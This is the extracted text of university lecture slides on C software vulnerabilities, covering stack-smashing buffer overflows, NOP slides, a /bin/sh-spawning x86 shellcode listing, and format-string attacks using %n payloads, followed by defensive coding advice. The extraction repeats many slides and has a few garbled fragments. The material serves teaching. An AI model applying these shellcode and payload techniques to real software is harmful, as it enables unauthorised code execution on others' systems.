Software Vulnerabilities and Exploits

Brad Karp
UCL Computer Science

CS GZ03 / M030
1st December 2014
Imperfect Software

• To be useful, software must process input
  – From files, network connections, keyboard...

• Programmer typically intends his code to manipulate input in particular way
  – e.g., parse HTTP request, retrieve matching content, return it to requestor

• Programs are complex, and often include subtle bugs unforeseen by the programmer

• Fundamentally hard to prevent all programmer error
  – Design itself may use flawed logic
  – Even formal reasoning may not capture all ways in which program may deviate from desired behavior
  – Remember: security is a negative goal...
Imperfect Software (2)

• Even if logic correct, implementation may vary from programmer intent

• C and C++ particularly dangerous
  – Allow arbitrary manipulation of pointers
  – Require programmer-directed allocation and freeing of memory
  – Don’t provide memory safety; very difficult to reason about which portions of memory a line of C changes
  – Offer high performance, so extremely prevalent, especially in network servers and OSes

• Java offers memory safety, but not a panacea
  – JRE written in (many thousands of lines of) C!
Software Vulnerabilities and Exploits

- **Vulnerability:** broadly speaking, input-dependent bug that can cause program to complete operations that deviate from programmer’s intent

- **Exploit:** input that, when presented to program, triggers a particular vulnerability

- Attacker can use exploit to execute operations without authorization on vulnerable host

- Vulnerable program executes with some privilege level
  - Many network servers execute as superuser
  - Users run applications with their own user ID
  - Result: great opportunity for exploits to do harm
Software Vulnerabilities and Exploits

- **Vulnerability:** broadly speaking, input-dependent bug that can cause program to complete operations that deviate from programmer’s intent
  
  Today: vulnerabilities in C programs that allow an attacker to execute his own arbitrary code within the vulnerable program without authorization on vulnerable host

- **Vulnerable program** executes with some privilege level
  - Many network servers execute as superuser
  - Users run applications with their own user ID
  - Result: great opportunity for exploits to do harm
Buffer Overflows in C: General Idea

• Buffers (arrays) in C manipulated using pointers
• C allows arbitrary arithmetic on pointers
  – Compiler has no notion of size of object pointed to
  – So programmers must explicitly check in code that pointer remains within intended object
  – But programmers often do not do so; vulnerability!
• Buffer overflows used in many exploits:
  – Input long data that runs past end of programmer’s buffer, over memory that guides program control flow
  – Enclose code you want executed within data
  – Overwrite control flow info with address of your code!
Memory Map of a UNIX Process

- **Text**: executable instructions, read-only data; size fixed at compile time
- **Data**: initialized and uninitialized; grows towards higher addresses
- **Stack**: LIFO, holds function arguments and local variables; grows toward lower addresses
Intel X86 Stack: Stack Frames

- Region of stack used within C function: stack frame
- Within function, local variables allocated on stack
- SP register: stack pointer, points to top of stack
- BP register: frame pointer (aka base pointer), points to bottom of stack frame of currently executing function
Intel X86 Stack: Calling and Returning from Functions

• To call function $f()$, allocate new stack frame:
  – Push arguments, e.g., $f(a, b, c)$
  – Push return address: next instruction (IP) in caller
  – Set $IP = \text{address of } f()$; jump to callee
  – Push saved frame pointer: BP for caller’s stack frame
  – Set $BP = SP$; sets frame pointer to start of new frame
  – Set $SP -= \text{sizeof(locals)}$; allocates local variables

• Upon return from $f()$, deallocate stack frame:
  – Set $SP += \text{sizeof(locals)}$; deallocates local variables
  – Set $BP = \text{saved frame pointer from stack}$; change to caller’s stack frame
  – Set $IP = \text{saved return address from stack}$; return to next instruction in caller
Example: Simple C Function Call

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        do request(17, 38);
        fprintf(log, "completed\n");
    }
}
```

Increasing memory addresses

main()’s stack frame
Example: Simple C Function Call

```c
void dorequest(int a, int b) {
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ... return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Example: Simple C Function Call

void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
}
Example: Simple C Function Call

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
Stack Smashing Exploits: Basic Idea

• Return address stored on stack directly influences program control flow

• Stack frame layout: local variables allocated just before return address

• If programmer allocates buffer as local on stack, reads input, and writes it into buffer without checking input fits in buffer:
  – Send input containing shellcode you wish to run
  – Write past end of buffer, and overwrite return address with address of your code within stack buffer
  – When function returns, your code executes!
**Example: Stack Smashing**

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```

Increasing memory addresses:
- local vars:
  - request
  - saved fp: 0x80707336
  - return addr: 0x63441827
  - main()’s stack frame
  - args:
    - main args: 17
    - args: 38
Example: Stack Smashing

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```

Example: Stack Smashing

void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
Example: Stack Smashing

void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed\n”);
    }
}

malicious input
Example: Stack Smashing

```c
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
    malicious input
    shell code
}
```

Increasing memory addresses

- shell code
- local vars
- saved fp
- return addr
- args
- main()’s stack frame

Malicious input can overwrite function arguments and cause unintended behavior.
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}

Example: Stack Smashing

void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
Example: Stack Smashing

```c
void dorequest(int a, int b) {
    char request[256];
    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}
```
Example: Stack Smashing

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    request...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
}
```

0x80707040
malicious input
shell code
Increasing memory addresses
local vars
saved fp
return addr
args
main()’s stack frame

Owned!
Designing a Stack Smashing Exploit

• In our example, attacker had to know:
  – existence of stack-allocated buffer without bounds check in program
  – exact address for start of stack-allocated buffer
  – exact offset of return address beyond buffer start

• Hard to predict these exact values:
  – stack size before call to function containing vulnerability may vary, changing exact buffer address
  – attacker may not know exact buffer size

• Don’t need to know either exact value, though!
Designing a Stack Smashing Exploit (2)

• No need to know exact return address:
  – Precede shellcode with **NOP slide**: long sequence of NOPs (or equivalent instructions)
  – So long as **jump into NOP slide**, shellcode executes
  – Effect: range of return addresses works

• No need to know exact offset of return address beyond buffer start:
  – **Repeat shellcode’s address many times** in input
  – So long as first instance occurs before return address’s location on stack, and enough repeats, will overwrite it
void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, "completed\n");
    }
}

Example: Stack Smashing “2.0”

- increasing memory addresses
- saved fp
- return addr
- args
- main()'s stack frame
- local vars

0x80707336
0x63441827
17
38
Example: Stack Smashing “2.0”

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed\n”);
    }
}
```

malicious input | NOP slide | shell code
Example: Stack Smashing “2.0”

```c
void dorequest(int a, int b)
{
    char request[256];

    scanf(“%s”, request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv)
{
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed\n”);
    }
}
```

- **malicious input**
- **NOP slide**
- **shell code**
- Increasing memory addresses
- **main()’s stack frame**
- **local vars**
- **saved fp**
- **return addr**
- **args**

Example: Stack Smashing “2.0”
Example: Stack Smashing “2.0”

void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf(log, "completed\n");
    }
}

malicious input

malicious input
Example: Stack Smashing “2.0”

void dorequest(int a, int b) {
    char request[256];

    scanf("%s", request);
    /* process the request... */
    ...
    return;
}

int main(int argc, char **argv) {
    while (1) {
        dorequest(17, 38);
        fprintf (log, “completed
”);
    }
}

Malicious input
Designing Practical Shellcode

- Shellcode normally executes /bin/sh; gives attacker a shell on exploited machine
- shellcode.c:

```c
don't /

```
Designing Practical Shellcode (2)

- Compile shellcode.c, disassemble in gdb to get hex representation of instructions
- Problem: to call execve(), must know exact address of string “/bin/sh” in memory (i.e., within stack buffer)
  - Difficult to predict, as before
Designing Practical Shellcode (3)

• Both jmp and call instructions allow IP-relative addressing
  – Specify target by offset from current IP, not by absolute address

• Finding absolute address of “/bin/sh” at runtime:
  – add call instruction at end of shellcode, with target of first shellcode instruction, using relative addressing
  – place “/bin/sh” immediately after call instruction
  – call will push next “instruction’s” address onto stack
  – precede first shellcode instruction with jmp to call, using relative addressing
  – after call, stack will contain address of “/bin/sh”
Practical Shellcode Example

jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(esi)  # 3 bytes
movb $0x0,0x7(%esi)  # 4 bytes
movl $0x0,0xc(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
call -0x2f  # 5 bytes
.string "/bin/sh"  # 8 bytes
Practical Shellcode Example

jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string "/bin/sh" # 8 bytes
Practical Shellcode Example

```
jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
movb $0x0,0x7(%esi)  # 4 bytes
movl $0x0,0xc(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
call -0x2f  # 5 bytes
.string "/bin/sh"  # 8 bytes
```

Writes string address on stack!
Practical Shellcode Example

jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
movb $0x0,0x7(%esi)  # 4 bytes
movl $0x0,0xc(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
call -0x2f  # 5 bytes
.string "/bin/sh"  # 8 bytes

Writes string address on stack!
Practical Shellcode Example

```
jmp 0x2a  # 3 bytes
popl %esi  # 1 byte
movl %esi,0x8(%esi)  # 3 bytes
movb $0x0,0x7(%esi)  # 4 bytes
movl $0x0,0xc(%esi)  # 7 bytes
movl $0xb,%eax  # 5 bytes
movl %esi,%ebx  # 2 bytes
leal 0x8(%esi),%ecx  # 3 bytes
leal 0xc(%esi),%edx  # 3 bytes
int $0x80  # 2 bytes
movl $0x1, %eax  # 5 bytes
movl $0x0, %ebx  # 5 bytes
int $0x80  # 2 bytes
```

```
call -0x2f  # 5 bytes
.string "/bin/sh\"  # 8 bytes
```

**Pops string address from stack!**

**Writes string address on stack!**
Eliminating Null Bytes in Shellcode

- Often vulnerability copies string into buffer
- C marks end of string with zero byte
  - So functions like `strcpy()` will stop copying if they encounter zero byte in shellcode instructions!
- Solution: replace shellcode instructions containing zero bytes with equivalent instructions that don’t contain zeroes in their encodings
Defensive Coding to Avoid Buffer Overflows

• Always explicitly check input length against target buffer size

• Avoid C library calls that don’t do length checking:
  – e.g., `sprintf(buf, ...), scanf("%s", buf), `\n        `strcpy(buf, input)`

• Better:
  – `snprintf(buf, buflen, ...), `\n      `scanf("%256s", buf), `\n      `strncpy(buf, input, 256)`
Overview: Format String Vulnerabilities and Exploits

- Recall C’s `printf`-like functions:
  - `printf(char *fmtstr, arg1, arg2, ...)`
  - e.g., `printf(“%d %d”, 17, 42);`
  - **Format string** in 1\textsuperscript{st} argument specifies number and type of further arguments

- Vulnerability:
  - If programmer allows input to be used as format string, attacker can force `printf`-like function to overwrite memory
  - So attacker can devise exploit input that includes shellcode, overwrites return address...
Background: %n Format String Specifier

• “%n” format string specifier directs printf to write number of bytes written thus far into the integer pointed to by the matching int * argument

• Example:
  
  ```c
  int i;
  printf("foobarn\n", (int *) &i);
  printf("i = %d\n", i);
  ```

• Output:
  
  ```
  foobar
  i = 6
  ```
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

[suppose input = "%d%d%d\n"]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments
  [suppose input = “%d%d%d
”]
  ```c
  char fmt[26];
  strncpy(fmt, input, 25);
  printf(fmt, 1, 2, 3);
  ```
Abusing %n to Overwrite Memory

- `printf`'s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- `printf()` increments pointer to point to successive arguments
  [suppose input = "%d%d%d\n"]
  ```
  char fmt[26];
  strncpy(fmt, input, 25);
  printf(fmt, 1, 2, 3);
  ```

Increasing memory addresses

**fmt buffer**

**args**

44

**caller's stack frame**
Abusing %n to Overwrite Memory

• printf’s caller often allocates format string buffer on stack

• C pushes parameters onto stack in right-to-left order
  – format string pointer on top of stack, last arg on bottom

• printf() increments pointer to point to successive arguments

  [suppose input = “%d%d%d\n”]
  char fmt[26];
  strncpy(fmt, input, 25);
  printf(fmt, 1, 2, 3);
Abusing `\%n` to Overwrite Memory

- `printf`’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- `printf()` increments pointer to point to successive arguments

```
[suppose input = "%d%d%d\n"]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing `%n` to Overwrite Memory

- `printf`’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- `printf()` increments pointer to point to successive arguments

[suppose input = “%d%d%d\n”]
```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```

Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing %n to Overwrite Memory

- printf's caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

[suppose input = "%d%d%d\n"]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing %n to Overwrite Memory

- printf’s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- printf() increments pointer to point to successive arguments

[suppose input = “%d%d%d\n”]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing %n to Overwrite Memory

- `printf`'s caller often allocates format string buffer on stack
- C pushes parameters onto stack in right-to-left order
  - format string pointer on top of stack, last arg on bottom
- `printf()` increments pointer to point to successive arguments

```
[suppose input = "%d%d%d\n"]
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing %n to Overwrite Memory (2)

- Idea:
  - Use specifiers in format string to increment printf()'s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply "%n" at end of format string

[input = "\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%n"]

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```

Abusing %n to Overwrite Memory (2)

• Idea:
  – Use specifiers in format string to increment printf()’s arg pointer so it points to format string itself
  – Supply target address to write at start of format string
  – Supply “%n” at end of format string

[input = "\xc0\xc8\xff\xbf%08x%08x%08x\x08x%08x%n"]

char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing %n to Overwrite Memory (2)

- **Idea:**
  - Use specifiers in format string to increment printf()’s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply “%n” at end of format string

[input = "\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x%08x%n"]

```c
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
```
Abusing %n to Overwrite Memory (2)

- Idea:
  - Use specifiers in format string to increment printf()'s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply "%n" at end of format string

[input = \xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x%08x%n\n]  
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);
Abusing `%n` to Overwrite Memory (2)

- **Idea:**
  - Use specifiers in format string to increment `printf()`’s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply “%n” at end of format string

[input = "\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x\n"
char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);]
Abusing `%n` to Overwrite Memory (2)

- Idea:
  - Use specifiers in format string to increment `printf()`'s arg pointer so it points to format string itself
  - Supply target address to write at start of format string
  - Supply “%n” at end of format string

[input = “\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x%n”]

char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);

Result: can overwrite chosen location with small integer
Still need to choose value we overwrite with…

Idea:
- Use specifiers in format string to increment `printf()`'s arg pointer so it points to format string itself
- Supply target address to write at start of format string
- Supply “%n” at end of format string

[input = “\xc0\xc8\xff\xbf%08x%08x%08x%08x%08x%08x%n”]

char fmt[26];
strncpy(fmt, input, 25);
printf(fmt, 1, 2, 3);

Result: can overwrite chosen location with small integer
Still need to choose value we overwrite with…
Controlling Value Written by %nn

• %n writes number of bytes printed
• But number of bytes printed controlled by format string!
  – Format specifiers allow indication of exactly how many characters to output
  – e.g., “%20u” means “use 20 digits when printing this unsigned integer”
• So we can use “%[N]u%n” format specifier to set least significant byte of target address to value [N]!
Example: Using %[N]u%n

• Example format string:

```
"[spop]\x01\x01\x01\x01\xc0\xc8\xff\xbf%50u%n"
```

• `[spop]` is sequence of “%08x” values, to advance printf()’s arg pointer to first byte after `[spop]`

• `\x01\x01\x01\x01` is dummy integer, to be consumed by %50u

• `\xc0\xc8\xff\xbf` is address of integer whose least significant byte will be changed by %n

• %50u sets number of output bytes to 50 (0x32)

• %n writes number of output bytes to target address

• Result: least significant byte of 4-byte value at 0xbfffc8c0 overwritten with number of bytes printed total: 0x32 + 0x08 + [bytes printed by spop]
Overwriting Full 4-Byte Values

• Template for format string:

  [4 non-zero bytes (dummy int)]
  [4 bytes target address]
  [dummy int][4 bytes (target address + 1)]
  [dummy int][4 bytes (target address + 2)]
  [dummy int][4 bytes (target address + 3)]
  [spop]
  [%[1\textsuperscript{st} byte value to write]\text{u}\%n]
  [%[2\textsuperscript{nd} byte value to write]\text{u}\%n]
  [%[3\textsuperscript{rd} byte value to write]\text{u}\%n]
  [%[4\textsuperscript{th} byte value to write]\text{u}\%n]

• N.B. LSB always in lowest memory address (Intel is little-endian)
Overwriting 4-Byte Values (2)

- Counter for \%\text{n} is cumulative
- But only least significant byte written matters
- Say \%\text{n} count is \text{x} so far, want next overwritten byte to have value \text{y}
- Next \%\text{u} should be \%[\text{N}]\text{u}, where:
  \[
  N = (0x100 + y - (x \mod 0x100)) \mod 0x100
  \]
  if (\text{N} < 10)
  \[
  N += 0x100
  \]
Format String Vulnerabilities Are Real and Versatile

- Example: `wu-ftp:d <= 2.6.0`:
  ```c
  char buffer[512];
  snprintf (buffer, sizeof (buffer), user);
  buffer[sizeof (buffer) - 1] = '\0';
  ```

- Ability to overwrite arbitrary memory makes format string vulnerabilities versatile:
  - Sure, can overwrite return address to return to shellcode, but other ways to attack, too
  - If server contains “superuser” flag (0 or 1), just overwrite that flag to be 1...
Vulnerability Prevalence

- More scrutiny of software than ever
- Little overall progress in producing vulnerability-free software

Source: cvedetails.com
Disclosure and Patching of Vulnerabilities

- Software vendors and open-source developers audit code, release vulnerability reports
  - Usually describe vulnerability, but don’t give exploit
  - Often include announcement of patch
- Race after disclosure: users patch, attackers devise exploit
  - Users often lazy or unwilling to patch; “patches” can break software, or include new vulnerabilities
- Attackers prize exploits for undisclosed vulnerabilities: zero-day exploits
- Disclosure best for users: can patch or disable, vs. risk of widest harm by zero-day exploit
Summary

• Many categories of vulnerabilities in C/C++ binaries; 2 we’ve seen hardly exhaustive

• Incentives for attackers to find vulnerabilities and design exploits are high
  – Arbitrary code injection allows:
    • Defacing of widely viewed web site
    • Stealing valuable confidential data from server
    • Destruction of data on server
    • Recruitment of zombies to botnets (spam, DoS)
  – Market in vulnerabilities and exploits!

• Preventing all exploits extremely challenging
  – Stopping one category leads attackers to use others
  – New categories continually arising